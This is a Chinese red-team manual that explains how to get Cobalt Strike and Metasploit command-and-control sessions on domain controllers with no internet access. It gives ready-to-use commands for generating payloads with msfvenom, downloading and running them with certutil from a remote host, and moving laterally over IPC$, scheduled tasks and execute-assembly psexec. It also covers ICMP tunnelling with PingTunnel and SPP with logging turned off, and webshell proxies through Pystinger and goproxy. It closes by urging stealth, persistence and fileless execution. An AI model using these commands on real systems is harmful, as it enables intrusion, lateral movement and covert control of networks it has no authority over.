红队攻防之特殊场景上线cs和msf
字数 1293 2025-08-24 20:49:22
红队攻防之特殊场景上线CS和MSF技术手册
一、MSF正向木马拿不出网域控Shell
适用场景
- 目标域控服务器无法访问外网,无法使用反向连接
- 已获得域控Web服务的Shell权限
操作步骤
- 生成正向木马
msfvenom -p windows/x64/meterpreter/bind_tcp lport=4444 -f raw -o msf1.bin
- 上传木马到域控
通过已有Web Shell执行:
certutil -urlcache -split -f http://xxx.xxx.xxx/msf1.exe msf1.exe
- 执行木马
msf1.exe
- MSF设置监听(通过代理)
proxychains msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set RHOST xxx.xxx.xxx
set lport 4444
run
二、主机中转监听横向上线不出网域控
操作步骤
-
设置中转监听器
- 使用内网可通信的IP地址
- 生成无阶段木马(分阶段木马无法选择中转监听器)
-
IPC$连接与文件上传
net use \\x.x.x.x\c$ "xxx" /user:"administrator"
copy C:\xxx.exe \\x.x.x.x\c$
- 通过计划任务执行
schtasks /run /s x.x.x.x /u Administrator /p xxxx /tn test /i
三、仅ICMP出网PingTunnel上线MSF&CS
环境要求
- 目标只能通过ICMP协议访问公网VPS
- 已获得Web边界服务器的Shell
操作步骤
- 服务端启动
./pingtunnel -type server
- 客户端配置
pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmpserver_ip -t c2_server_ip:7777 -tcp 1 -noprint 1 -nolog 1
-
MSF上线
- 生成木马:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=9999 -f exe -o msf.exe- 设置监听:
set payload windows/x64/meterpreter/reverse_tcp set lhost x.x.x.x set lport 7777 -
CS上线
- 建立两个监听器:127.0.0.1:9999和x.x.x.x:7777
- 生成针对ICMP-127监听器的木马
四、仅ICMP出网SPP上线Cobalt Strike
操作步骤
- 服务端启动
./spp -type server -proto ricmp -listen 0.0.0.0
- 客户端启动
spp.exe -name "cs" -type proxy_client -server x.x.x.x -fromaddr :8082 -toaddr :8081 -proxyproto tcp -proto ricmp -nolog 1 -noprint 1
-
创建SPP监听器
- HTTP Beacon,Host为VPS地址,监听8081端口
- 本地HTTP Beacon,Host为127.0.0.1或内网IP,监听8082
-
生成无阶段木马
- 选择SPP-127监听器生成木马
五、Pystinger正向代理上线不出网域控到CS
适用场景
- TCP、ICMP、DNS均不出网
- 具有Web服务并获得Webshell权限
操作步骤
-
上传代理文件
- 通过Webshell上传Pystinger的Webshell
- 确保http://x.x.x.x/pystinger/proxy.php可访问
-
服务端运行
start stinger_server.exe 0.0.0.0
- 客户端运行
./stinger_client -w http://x.x.x.x/pystinger/proxy.php -l 0.0.0.0 -p 60000
- 创建监听器
- 多主机上线:Host为内网IP,端口60020
- 单主机上线:Host为127.0.0.1,端口60020
六、goproxy HTTP代理上线不出网域控到CS
操作步骤
- 上传并运行proxy.exe
proxy.exe http -t tcp -p "0.0.0.0:4444" --daemon
-
创建监听器
- 代理地址为不出网域控能访问到的地址
-
生成并执行木马
- 选择Windows Executable(S)有效载荷
- 通过certutil下载并执行木马
七、内存加载不出网域控上线CS
操作步骤
-
获取跳板机Session
- 需要Administrator权限的Session
-
创建Bind TCP监听器
-
生成无阶段木马并上传
-
内存加载执行
execute-assembly C:\xxx.exe -m=psexec -i=x.x.x.x -u=administrator -p=xxxx -d=xxx -f=C:\xxx.exe -e=C:\xxx.exe
- 连接目标机
connect x.x.x.x 4444
关键注意事项
-
根据目标网络环境选择合适的上线方式:
- 能出网:优先考虑反向连接
- 不能出网:考虑正向连接或ICMP隧道
-
木马生成注意事项:
- 无网环境必须使用无阶段(Payload)
- 分阶段木马在某些场景无法使用
-
隧道工具使用要点:
- ICMP隧道需注意日志处理(-nolog -noprint)
- 确保隧道两端配置一致
-
权限维持:
- 通过计划任务、服务等方式实现持久化
- 考虑使用内存加载避免文件落地
-
横向移动:
- 合理利用IPC$、WMI、计划任务等机制
- 注意凭证收集和保护
本手册涵盖了多种特殊网络环境下的红队上线技术,实际使用时需根据目标环境特点选择最适合的方案,并注意操作的安全性和隐蔽性。